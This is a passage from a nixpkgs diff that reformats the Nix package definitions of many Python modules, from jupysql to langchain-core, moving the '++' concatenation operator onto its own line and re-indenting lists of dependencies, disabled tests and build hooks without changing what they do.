-  ] ++ optional-dependencies.dev;
+  ]
+  ++ optional-dependencies.dev;
 
-  disabledTests =
-    [
-      # AttributeError: 'DataFrame' object has no attribute 'frame_equal'
-      "test_resultset_polars_dataframe"
+  disabledTests = [
+    # AttributeError: 'DataFrame' object has no attribute 'frame_equal'
+    "test_resultset_polars_dataframe"
 
-      # all of these are broken with later versions of duckdb; see
-      # https://github.com/ploomber/jupysql/issues/1030
-      "test_resultset_getitem"
-      "test_resultset_dict"
-      "test_resultset_len"
-      "test_resultset_dicts"
-      "test_resultset_dataframe"
-      "test_resultset_csv"
-      "test_resultset_str"
-      "test_resultset_repr_html_when_feedback_is_2"
-      "test_resultset_repr_html_with_reduced_feedback"
-      "test_invalid_operation_error"
-      "test_resultset_config_autolimit_dict"
+    # all of these are broken with later versions of duckdb; see
+    # https://github.com/ploomber/jupysql/issues/1030
+    "test_resultset_getitem"
+    "test_resultset_dict"
+    "test_resultset_len"
+    "test_resultset_dicts"
+    "test_resultset_dataframe"
+    "test_resultset_csv"
+    "test_resultset_str"
+    "test_resultset_repr_html_when_feedback_is_2"
+    "test_resultset_repr_html_with_reduced_feedback"
+    "test_invalid_operation_error"
+    "test_resultset_config_autolimit_dict"
 
-      # fails due to strict warnings
-      "test_calling_legacy_plotting_functions_displays_warning"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # RuntimeError: *** -[__NSPlaceholderArray initWithObjects:count:]: attempt to insert nil object from objects[1]
-      "test_no_errors_with_stored_query"
-    ];
+    # fails due to strict warnings
+    "test_calling_legacy_plotting_functions_displays_warning"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # RuntimeError: *** -[__NSPlaceholderArray initWithObjects:count:]: attempt to insert nil object from objects[1]
+    "test_no_errors_with_stored_query"
+  ];
 
   disabledTestPaths = [
     # require docker
diff --git a/pkgs/development/python-modules/jupyter-client/default.nix b/pkgs/development/python-modules/jupyter-client/default.nix
index 2aec8e08ed1a..83d941cbdba6 100644
--- a/pkgs/development/python-modules/jupyter-client/default.nix
+++ b/pkgs/development/python-modules/jupyter-client/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     pyzmq
     tornado
     traitlets
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   pythonImportsCheck = [ "jupyter_client" ];
 
diff --git a/pkgs/development/python-modules/jupyter-events/default.nix b/pkgs/development/python-modules/jupyter-events/default.nix
index 2af4cdc6b23c..71850409ab47 100644
--- a/pkgs/development/python-modules/jupyter-events/default.nix
+++ b/pkgs/development/python-modules/jupyter-events/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
     rfc3339-validator
     rfc3986-validator
     traitlets
-  ] ++ jsonschema.optional-dependencies.format-nongpl;
+  ]
+  ++ jsonschema.optional-dependencies.format-nongpl;
 
   optional-dependencies = {
     cli = [
@@ -71,7 +72,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-console-scripts
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export PATH="$out/bin:$PATH"
diff --git a/pkgs/development/python-modules/jupyter-server-terminals/default.nix b/pkgs/development/python-modules/jupyter-server-terminals/default.nix
index 30c3e0e2bea5..b7921afffb7d 100644
--- a/pkgs/development/python-modules/jupyter-server-terminals/default.nix
+++ b/pkgs/development/python-modules/jupyter-server-terminals/default.nix
@@ -38,7 +38,8 @@ let
       pytest-jupyter
       pytest-timeout
       pytestCheckHook
-    ] ++ pytest-jupyter.optional-dependencies.server;
+    ]
+    ++ pytest-jupyter.optional-dependencies.server;
 
     passthru.tests = {
       check = self.overridePythonAttrs (_: {
diff --git a/pkgs/development/python-modules/jupyter-server/default.nix b/pkgs/development/python-modules/jupyter-server/default.nix
index 449f13a74689..350f102ce85b 100644
--- a/pkgs/development/python-modules/jupyter-server/default.nix
+++ b/pkgs/development/python-modules/jupyter-server/default.nix
@@ -101,28 +101,27 @@ buildPythonPackage rec {
     export PATH=$out/bin:$PATH
   '';
 
-  disabledTests =
-    [
-      "test_cull_idle"
-      "test_server_extension_list"
-      "test_subscribe_websocket"
-      # test is presumable broken in sandbox
-      "test_authorized_requests"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # attempts to use trashcan, build env doesn't allow this
-      "test_delete"
-      # Insufficient access privileges for operation
-      "test_regression_is_hidden"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # Failed: DID NOT RAISE <class 'tornado.web.HTTPError'>
-      "test_copy_big_dir"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # TypeError: the JSON object must be str, bytes or bytearray, not NoneType
-      "test_terminal_create_with_cwd"
-    ];
+  disabledTests = [
+    "test_cull_idle"
+    "test_server_extension_list"
+    "test_subscribe_websocket"
+    # test is presumable broken in sandbox
+    "test_authorized_requests"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # attempts to use trashcan, build env doesn't allow this
+    "test_delete"
+    # Insufficient access privileges for operation
+    "test_regression_is_hidden"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # Failed: DID NOT RAISE <class 'tornado.web.HTTPError'>
+    "test_copy_big_dir"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    # TypeError: the JSON object must be str, bytes or bytearray, not NoneType
+    "test_terminal_create_with_cwd"
+  ];
 
   disabledTestPaths = [
     "tests/services/kernels/test_api.py"
diff --git a/pkgs/development/python-modules/jupyterhub/default.nix b/pkgs/development/python-modules/jupyterhub/default.nix
index 2b2e302ae490..7f4ab6baaa41 100644
--- a/pkgs/development/python-modules/jupyterhub/default.nix
+++ b/pkgs/development/python-modules/jupyterhub/default.nix
@@ -88,28 +88,27 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  dependencies =
-    [
-      alembic
-      certipy
-      idna
-      jinja2
-      jupyter-events
-      oauthlib
-      packaging
-      pamela
-      prometheus-client
-      pydantic
-      python-dateutil
-      requests
-      sqlalchemy
-      tornado
-      traitlets
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      async-generator
-      importlib-metadata
-    ];
+  dependencies = [
+    alembic
+    certipy
+    idna
+    jinja2
+    jupyter-events
+    oauthlib
+    packaging
+    pamela
+    prometheus-client
+    pydantic
+    python-dateutil
+    requests
+    sqlalchemy
+    tornado
+    traitlets
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    async-generator
+    importlib-metadata
+  ];
 
   pythonImportsCheck = [ "jupyterhub" ];
 
diff --git a/pkgs/development/python-modules/jupyterlab-server/default.nix b/pkgs/development/python-modules/jupyterlab-server/default.nix
index 968afeb9cce8..e36caff33de3 100644
--- a/pkgs/development/python-modules/jupyterlab-server/default.nix
+++ b/pkgs/development/python-modules/jupyterlab-server/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     jupyter-server
     packaging
     requests
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   optional-dependencies = {
     openapi = [
@@ -61,7 +62,8 @@ buildPythonPackage rec {
     pytestCheckHook
     requests-mock
     strict-rfc3339
-  ] ++ optional-dependencies.openapi;
+  ]
+  ++ optional-dependencies.openapi;
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/development/python-modules/jupyterlab/default.nix b/pkgs/development/python-modules/jupyterlab/default.nix
index 30eb5286a7c6..9415bfae384f 100644
--- a/pkgs/development/python-modules/jupyterlab/default.nix
+++ b/pkgs/development/python-modules/jupyterlab/default.nix
@@ -60,24 +60,23 @@ buildPythonPackage rec {
     hatchling
   ];
 
-  dependencies =
-    [
-      async-lru
-      httpx
-      ipykernel
-      jinja2
-      jupyter-core
-      jupyter-lsp
-      jupyter-server
-      jupyterlab-server
-      notebook-shim
-      packaging
-      setuptools
-      tornado
-      traitlets
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ tomli ]
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  dependencies = [
+    async-lru
+    httpx
+    ipykernel
+    jinja2
+    jupyter-core
+    jupyter-lsp
+    jupyter-server
+    jupyterlab-server
+    notebook-shim
+    packaging
+    setuptools
+    tornado
+    traitlets
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   makeWrapperArgs = [
     "--set"
diff --git a/pkgs/development/python-modules/jupytext/default.nix b/pkgs/development/python-modules/jupytext/default.nix
index cffbf7dab1e4..a81699fc929f 100644
--- a/pkgs/development/python-modules/jupytext/default.nix
+++ b/pkgs/development/python-modules/jupytext/default.nix
@@ -76,7 +76,8 @@ buildPythonPackage rec {
     nbformat
     packaging
     pyyaml
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   nativeCheckInputs = [
     jupyter-client
diff --git a/pkgs/development/python-modules/kafka-python-ng/default.nix b/pkgs/development/python-modules/kafka-python-ng/default.nix
index aec5ffe216f7..81036644f108 100644
--- a/pkgs/development/python-modules/kafka-python-ng/default.nix
+++ b/pkgs/development/python-modules/kafka-python-ng/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
     pytest-mock
     pytestCheckHook
     xxhash
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   meta = {
     changelog = "https://github.com/wbarnha/kafka-python-ng/releases/tag/v${version}";
diff --git a/pkgs/development/python-modules/kaleido/default.nix b/pkgs/development/python-modules/kaleido/default.nix
index 54e523c12454..a155dd55bf2b 100644
--- a/pkgs/development/python-modules/kaleido/default.nix
+++ b/pkgs/development/python-modules/kaleido/default.nix
@@ -65,39 +65,38 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "kaleido" ];
 
-  postInstall =
-    ''
-      # Expose kaleido binary
-      mkdir -p $out/bin
-      ln -s $out/${python.sitePackages}/kaleido/executable/bin/kaleido $out/bin/kaleido
+  postInstall = ''
+    # Expose kaleido binary
+    mkdir -p $out/bin
+    ln -s $out/${python.sitePackages}/kaleido/executable/bin/kaleido $out/bin/kaleido
 
-      # Relace bundled libraries with nixpkgs-packaged libraries
-      rm -rf $out/${python.sitePackages}/kaleido/executable/lib
-      mkdir -p $out/${python.sitePackages}/kaleido/executable/lib
-      ln -s ${expat}/lib/* $out/${python.sitePackages}/kaleido/executable/lib/
-      ln -s ${nspr}/lib/* $out/${python.sitePackages}/kaleido/executable/lib/
-      ln -s ${nss}/lib/* $out/${python.sitePackages}/kaleido/executable/lib/
-      ln -s ${sqlite}/lib/* $out/${python.sitePackages}/kaleido/executable/lib/
+    # Relace bundled libraries with nixpkgs-packaged libraries
+    rm -rf $out/${python.sitePackages}/kaleido/executable/lib
+    mkdir -p $out/${python.sitePackages}/kaleido/executable/lib
+    ln -s ${expat}/lib/* $out/${python.sitePackages}/kaleido/executable/lib/
+    ln -s ${nspr}/lib/* $out/${python.sitePackages}/kaleido/executable/lib/
+    ln -s ${nss}/lib/* $out/${python.sitePackages}/kaleido/executable/lib/
+    ln -s ${sqlite}/lib/* $out/${python.sitePackages}/kaleido/executable/lib/
 
-      # Replace bundled font configuration with nixpkgs-packaged font configuration
-      rm -rf $out/${python.sitePackages}/kaleido/executable/etc/fonts
-      mkdir -p $out/${python.sitePackages}/kaleido/executable/etc/fonts/conf.d
-      ln -s ${fontconfig.out}/etc/fonts/fonts.conf $out/${python.sitePackages}/kaleido/executable/etc/fonts/
-      ls -s ${fontconfig.out}/etc/fonts/conf.d/* $out/${python.sitePackages}/kaleido/executable/etc/fonts/conf.d/
-      ln -s ${sbclPackages.cl-dejavu}/dejavu-fonts-ttf-2.37/fontconfig/* $out/${python.sitePackages}/kaleido/executable/etc/fonts/conf.d/
+    # Replace bundled font configuration with nixpkgs-packaged font configuration
+    rm -rf $out/${python.sitePackages}/kaleido/executable/etc/fonts
+    mkdir -p $out/${python.sitePackages}/kaleido/executable/etc/fonts/conf.d
+    ln -s ${fontconfig.out}/etc/fonts/fonts.conf $out/${python.sitePackages}/kaleido/executable/etc/fonts/
+    ls -s ${fontconfig.out}/etc/fonts/conf.d/* $out/${python.sitePackages}/kaleido/executable/etc/fonts/conf.d/
+    ln -s ${sbclPackages.cl-dejavu}/dejavu-fonts-ttf-2.37/fontconfig/* $out/${python.sitePackages}/kaleido/executable/etc/fonts/conf.d/
 
-      # Replace bundled fonts with nixpkgs-packaged fonts
-      # Currently this causes an issue where the fonts aren't found. I'm not sure why, so I'm leaving this commented out for now.
-      #rm -rf $out/${python.sitePackages}/kaleido/executable/xdg/fonts
-      #mkdir -p $out/${python.sitePackages}/kaleido/executable/xdg/fonts/truetype/dejavu $out/${python.sitePackages}/kaleido/executable/xdg/fonts/truetype/lato
-      #ln -s ${dejavu_fonts}/share/fonts/truetype/* $out/${python.sitePackages}/kaleido/executable/xdg/fonts/truetype/dejavu/
-      #ln -s ${lato}/share/fonts/lato/* $out/${python.sitePackages}/kaleido/executable/xdg/fonts/truetype/lato/
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      # Replace bundled swiftshader with libGL
-      rm -rf $out/${python.sitePackages}/kaleido/executable/bin/swiftshader
-      ln -s ${libGL}/lib $out/${python.sitePackages}/kaleido/executable/bin/swiftshader
-    '';
+    # Replace bundled fonts with nixpkgs-packaged fonts
+    # Currently this causes an issue where the fonts aren't found. I'm not sure why, so I'm leaving this commented out for now.
+    #rm -rf $out/${python.sitePackages}/kaleido/executable/xdg/fonts
+    #mkdir -p $out/${python.sitePackages}/kaleido/executable/xdg/fonts/truetype/dejavu $out/${python.sitePackages}/kaleido/executable/xdg/fonts/truetype/lato
+    #ln -s ${dejavu_fonts}/share/fonts/truetype/* $out/${python.sitePackages}/kaleido/executable/xdg/fonts/truetype/dejavu/
+    #ln -s ${lato}/share/fonts/lato/* $out/${python.sitePackages}/kaleido/executable/xdg/fonts/truetype/lato/
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    # Replace bundled swiftshader with libGL
+    rm -rf $out/${python.sitePackages}/kaleido/executable/bin/swiftshader
+    ln -s ${libGL}/lib $out/${python.sitePackages}/kaleido/executable/bin/swiftshader
+  '';
 
   passthru.tests = lib.optionalAttrs (!stdenv.hostPlatform.isDarwin) {
     kaleido = callPackage ./tests.nix { };
diff --git a/pkgs/development/python-modules/keras/default.nix b/pkgs/development/python-modules/keras/default.nix
index dbd00f718c0b..7d76e6eaf307 100644
--- a/pkgs/development/python-modules/keras/default.nix
+++ b/pkgs/development/python-modules/keras/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
     rich
     scikit-learn
     tensorflow
-  ] ++ lib.optionals (pythonAtLeast "3.12") [ distutils ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [ distutils ];
 
   pythonImportsCheck = [
     "keras"
diff --git a/pkgs/development/python-modules/keyring/default.nix b/pkgs/development/python-modules/keyring/default.nix
index 422115799e0f..ff52b0cfd36f 100644
--- a/pkgs/development/python-modules/keyring/default.nix
+++ b/pkgs/development/python-modules/keyring/default.nix
@@ -37,17 +37,16 @@ buildPythonPackage rec {
     shtab
   ];
 
-  dependencies =
-    [
-      jaraco-classes
-      jaraco-context
-      jaraco-functools
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      jeepney
-      secretstorage
-    ]
-    ++ lib.optionals (pythonOlder "3.12") [ importlib-metadata ];
+  dependencies = [
+    jaraco-classes
+    jaraco-context
+    jaraco-functools
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    jeepney
+    secretstorage
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [ importlib-metadata ];
 
   postInstall = ''
     installShellCompletion --cmd keyring \
@@ -65,10 +64,11 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTestPaths =
-    [ "tests/backends/test_macOS.py" ]
-    # These tests fail when sandboxing is enabled because they are unable to get a password from keychain.
-    ++ lib.optional stdenv.hostPlatform.isDarwin "tests/test_multiprocess.py";
+  disabledTestPaths = [
+    "tests/backends/test_macOS.py"
+  ]
+  # These tests fail when sandboxing is enabled because they are unable to get a password from keychain.
+  ++ lib.optional stdenv.hostPlatform.isDarwin "tests/test_multiprocess.py";
 
   meta = with lib; {
     description = "Store and access your passwords safely";
diff --git a/pkgs/development/python-modules/keystoneauth1/default.nix b/pkgs/development/python-modules/keystoneauth1/default.nix
index 16c33b7997a3..3b8c3696c6e3 100644
--- a/pkgs/development/python-modules/keystoneauth1/default.nix
+++ b/pkgs/development/python-modules/keystoneauth1/default.nix
@@ -37,17 +37,16 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      iso8601
-      os-service-types
-      pbr
-      requests
-      stevedore
-      typing-extensions
-    ]
-    # TODO: remove this workaround and fix breakages
-    ++ lib.flatten (builtins.attrValues optional-dependencies);
+  dependencies = [
+    iso8601
+    os-service-types
+    pbr
+    requests
+    stevedore
+    typing-extensions
+  ]
+  # TODO: remove this workaround and fix breakages
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   optional-dependencies = {
     betamax = [
@@ -69,7 +68,8 @@ buildPythonPackage rec {
     stestr
     testresources
     testtools
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # test_keystoneauth_betamax_fixture is incompatible with urllib3 2.0.0
   # https://bugs.launchpad.net/keystoneauth/+bug/2020112
diff --git a/pkgs/development/python-modules/kivy/default.nix b/pkgs/development/python-modules/kivy/default.nix
index 9efd8606b3ff..acf759a2ae91 100644
--- a/pkgs/development/python-modules/kivy/default.nix
+++ b/pkgs/development/python-modules/kivy/default.nix
@@ -43,28 +43,27 @@ buildPythonPackage rec {
     pkg-config
   ];
 
-  buildInputs =
+  buildInputs = [
+    SDL2
+    SDL2_image
+    SDL2_ttf
+    SDL2_mixer
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGL
+    libX11
+    mtdev
+  ]
+  ++ lib.optionals withGstreamer (
+    with gst_all_1;
     [
-      SDL2
-      SDL2_image
-      SDL2_ttf
-      SDL2_mixer
+      # NOTE: The degree to which gstreamer actually works is unclear
+      gstreamer
+      gst-plugins-base
+      gst-plugins-good
+      gst-plugins-bad
     ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGL
-      libX11
-      mtdev
-    ]
-    ++ lib.optionals withGstreamer (
-      with gst_all_1;
-      [
-        # NOTE: The degree to which gstreamer actually works is unclear
-        gstreamer
-        gst-plugins-base
-        gst-plugins-good
-        gst-plugins-bad
-      ]
-    );
+  );
 
   dependencies = [
     kivy-garden
@@ -89,17 +88,16 @@ buildPythonPackage rec {
     ]
   );
 
-  postPatch =
-    ''
-      substituteInPlace pyproject.toml \
-        --replace-fail "setuptools~=69.2.0" "setuptools" \
-        --replace-fail "wheel~=0.44.0" "wheel" \
-        --replace-fail "cython>=0.29.1,<=3.0.11" "cython"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace kivy/lib/mtdev.py \
-        --replace-fail "LoadLibrary('libmtdev.so.1')" "LoadLibrary('${mtdev}/lib/libmtdev.so.1')"
-    '';
+  postPatch = ''
+    substituteInPlace pyproject.toml \
+      --replace-fail "setuptools~=69.2.0" "setuptools" \
+      --replace-fail "wheel~=0.44.0" "wheel" \
+      --replace-fail "cython>=0.29.1,<=3.0.11" "cython"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace kivy/lib/mtdev.py \
+      --replace-fail "LoadLibrary('libmtdev.so.1')" "LoadLibrary('${mtdev}/lib/libmtdev.so.1')"
+  '';
 
   /*
     We cannot run tests as Kivy tries to import itself before being fully
diff --git a/pkgs/development/python-modules/klaus/default.nix b/pkgs/development/python-modules/klaus/default.nix
index c120217683c6..88f3d31af21e 100644
--- a/pkgs/development/python-modules/klaus/default.nix
+++ b/pkgs/development/python-modules/klaus/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage rec {
     pytest
     requests
     python-ctags3
-  ] ++ lib.optional (!isPy3k) mock;
+  ]
+  ++ lib.optional (!isPy3k) mock;
 
   checkPhase = ''
     ./runtests.sh
diff --git a/pkgs/development/python-modules/kombu/default.nix b/pkgs/development/python-modules/kombu/default.nix
index fb359bca4595..2b1af19aab16 100644
--- a/pkgs/development/python-modules/kombu/default.nix
+++ b/pkgs/development/python-modules/kombu/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     amqp
     tzdata
     vine
-  ] ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
 
   optional-dependencies = {
     msgpack = [ msgpack ];
@@ -79,7 +80,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     hypothesis
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "kombu" ];
 
diff --git a/pkgs/development/python-modules/kserve/default.nix b/pkgs/development/python-modules/kserve/default.nix
index b0e06d8497e5..eb815c039ebf 100644
--- a/pkgs/development/python-modules/kserve/default.nix
+++ b/pkgs/development/python-modules/kserve/default.nix
@@ -111,7 +111,8 @@ buildPythonPackage rec {
       huggingface-hub
       google-cloud-storage
       requests
-    ] ++ huggingface-hub.optional-dependencies.hf_transfer;
+    ]
+    ++ huggingface-hub.optional-dependencies.hf_transfer;
     logging = [ asgi-logger ];
     ray = [ ray ];
     llm = [
@@ -126,28 +127,28 @@ buildPythonPackage rec {
     pytest-xdist
     pytestCheckHook
     tomlkit
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "kserve" ];
 
-  pytestFlagsArray =
-    [
-      # AssertionError
-      "--deselect=test/test_server.py::TestTFHttpServerLoadAndUnLoad::test_unload"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # RuntimeError: Failed to start GCS
-      "--deselect=test/test_dataplane.py::TestDataPlane::test_explain"
-      "--deselect=test/test_dataplane.py::TestDataPlane::test_infer"
-      "--deselect=test/test_dataplane.py::TestDataPlane::test_model_metadata"
-      "--deselect=test/test_dataplane.py::TestDataPlane::test_server_readiness"
-      "--deselect=test/test_server.py::TestRayServer::test_explain"
-      "--deselect=test/test_server.py::TestRayServer::test_health_handler"
-      "--deselect=test/test_server.py::TestRayServer::test_infer"
-      "--deselect=test/test_server.py::TestRayServer::test_list_handler"
-      "--deselect=test/test_server.py::TestRayServer::test_liveness_handler"
-      "--deselect=test/test_server.py::TestRayServer::test_predict"
-    ];
+  pytestFlagsArray = [
+    # AssertionError
+    "--deselect=test/test_server.py::TestTFHttpServerLoadAndUnLoad::test_unload"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # RuntimeError: Failed to start GCS
+    "--deselect=test/test_dataplane.py::TestDataPlane::test_explain"
+    "--deselect=test/test_dataplane.py::TestDataPlane::test_infer"
+    "--deselect=test/test_dataplane.py::TestDataPlane::test_model_metadata"
+    "--deselect=test/test_dataplane.py::TestDataPlane::test_server_readiness"
+    "--deselect=test/test_server.py::TestRayServer::test_explain"
+    "--deselect=test/test_server.py::TestRayServer::test_health_handler"
+    "--deselect=test/test_server.py::TestRayServer::test_infer"
+    "--deselect=test/test_server.py::TestRayServer::test_list_handler"
+    "--deselect=test/test_server.py::TestRayServer::test_liveness_handler"
+    "--deselect=test/test_server.py::TestRayServer::test_predict"
+  ];
 
   disabledTestPaths = [
     # Looks for a config file at the root of the repository
@@ -160,18 +161,17 @@ buildPythonPackage rec {
     "test/test_openai_embedding.py"
   ];
 
-  disabledTests =
-    [
-      # Require network access
-      "test_infer_graph_endpoint"
-      "test_infer_path_based_routing"
+  disabledTests = [
+    # Require network access
+    "test_infer_graph_endpoint"
+    "test_infer_path_based_routing"
 
-      # Tries to access `/tmp` (hardcoded)
-      "test_local_path_with_out_dir_exist"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_local_path_with_out_dir_not_exist"
-    ];
+    # Tries to access `/tmp` (hardcoded)
+    "test_local_path_with_out_dir_exist"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_local_path_with_out_dir_not_exist"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/kubernetes/default.nix b/pkgs/development/python-modules/kubernetes/default.nix
index f033ca20a40a..de99487b2503 100644
--- a/pkgs/development/python-modules/kubernetes/default.nix
+++ b/pkgs/development/python-modules/kubernetes/default.nix
@@ -60,7 +60,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [
     # AssertionError: <class 'urllib3.poolmanager.ProxyManager'> != <class 'urllib3.poolmanager.Poolmanager'>
diff --git a/pkgs/development/python-modules/labelbox/default.nix b/pkgs/development/python-modules/labelbox/default.nix
index 0c0737abdead..e03eb7335f05 100644
--- a/pkgs/development/python-modules/labelbox/default.nix
+++ b/pkgs/development/python-modules/labelbox/default.nix
@@ -115,7 +115,8 @@ buildPythonPackage rec {
     pytest-rerunfailures
     pytest-xdist
     pytestCheckHook
-  ] ++ optional-dependencies.data;
+  ]
+  ++ optional-dependencies.data;
 
   disabledTestPaths = [
     # Requires network access
diff --git a/pkgs/development/python-modules/lacuscore/default.nix b/pkgs/development/python-modules/lacuscore/default.nix
index ec1b40768c8c..573090fad011 100644
--- a/pkgs/development/python-modules/lacuscore/default.nix
+++ b/pkgs/development/python-modules/lacuscore/default.nix
@@ -37,21 +37,20 @@ buildPythonPackage rec {
 
   build-system = [ poetry-core ];
 
-  dependencies =
-    [
-      defang
-      dnspython
-      playwrightcapture
-      pydantic
-      redis
-      requests
-      ua-parser
-    ]
-    ++ playwrightcapture.optional-dependencies.recaptcha
-    ++ redis.optional-dependencies.hiredis
-    ++ ua-parser.optional-dependencies.regex
-    ++ lib.optionals (pythonOlder "3.11") [ async-timeout ]
-    ++ lib.optionals (pythonOlder "3.10") [ eval-type-backport ];
+  dependencies = [
+    defang
+    dnspython
+    playwrightcapture
+    pydantic
+    redis
+    requests
+    ua-parser
+  ]
+  ++ playwrightcapture.optional-dependencies.recaptcha
+  ++ redis.optional-dependencies.hiredis
+  ++ ua-parser.optional-dependencies.regex
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ]
+  ++ lib.optionals (pythonOlder "3.10") [ eval-type-backport ];
 
   # Module has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/lancedb/default.nix b/pkgs/development/python-modules/lancedb/default.nix
index 1f946f440893..42b86aa1a9e7 100644
--- a/pkgs/development/python-modules/lancedb/default.nix
+++ b/pkgs/development/python-modules/lancedb/default.nix
@@ -104,15 +104,14 @@ buildPythonPackage rec {
     "test_polars"
   ];
 
-  disabledTestPaths =
-    [
-      # touch the network
-      "test_s3.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # socket.gaierror: [Errno 8] nodename nor servname provided, or not known
-      "test_remote_db.py"
-    ];
+  disabledTestPaths = [
+    # touch the network
+    "test_s3.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # socket.gaierror: [Errno 8] nodename nor servname provided, or not known
+    "test_remote_db.py"
+  ];
 
   passthru.updateScript = nix-update-script {
     extraArgs = [
diff --git a/pkgs/development/python-modules/langchain-core/default.nix b/pkgs/development/python-modules/langchain-core/default.nix
index 2ae93d91c052..fe2b799acd8e 100644
--- a/pkgs/development/python-modules/langchain-core/default.nix
+++ b/pkgs/development/python-modules/langchain-core/default.nix
@@ -96,44 +96,43 @@ buildPythonPackage rec {
     };
   };
 
-  disabledTests =
-    [
-      # flaky, sometimes fail to strip uuid from AIMessageChunk before comparing to test value
-      "test_map_stream"
-      # Compares with machine-specific timings
-      "test_rate_limit"
-      # flaky: assert (1726352133.7419367 - 1726352132.2697523) < 1
-      "test_benchmark_model"
+  disabledTests = [
+    # flaky, sometimes fail to strip uuid from AIMessageChunk before comparing to test value
+    "test_map_stream"
+    # Compares with machine-specific timings
+    "test_rate_limit"
+    # flaky: assert (1726352133.7419367 - 1726352132.2697523) < 1
+    "test_benchmark_model"
 
-      # TypeError: exceptions must be derived from Warning, not <class 'NoneType'>
-      "test_chat_prompt_template_variable_names"
-      "test_create_model_v2"
+    # TypeError: exceptions must be derived from Warning, not <class 'NoneType'>
+    "test_chat_prompt_template_variable_names"
+    "test_create_model_v2"
 
-      # Comparison with magic strings
-      "test_prompt_with_chat_model"
-      "test_prompt_with_chat_model_async"
-      "test_prompt_with_llm"
-      "test_prompt_with_llm_parser"
-      "test_prompt_with_llm_and_async_lambda"
-      "test_prompt_with_chat_model_and_parser"
-      "test_combining_sequences"
+    # Comparison with magic strings
+    "test_prompt_with_chat_model"
+    "test_prompt_with_chat_model_async"
+    "test_prompt_with_llm"
+    "test_prompt_with_llm_parser"
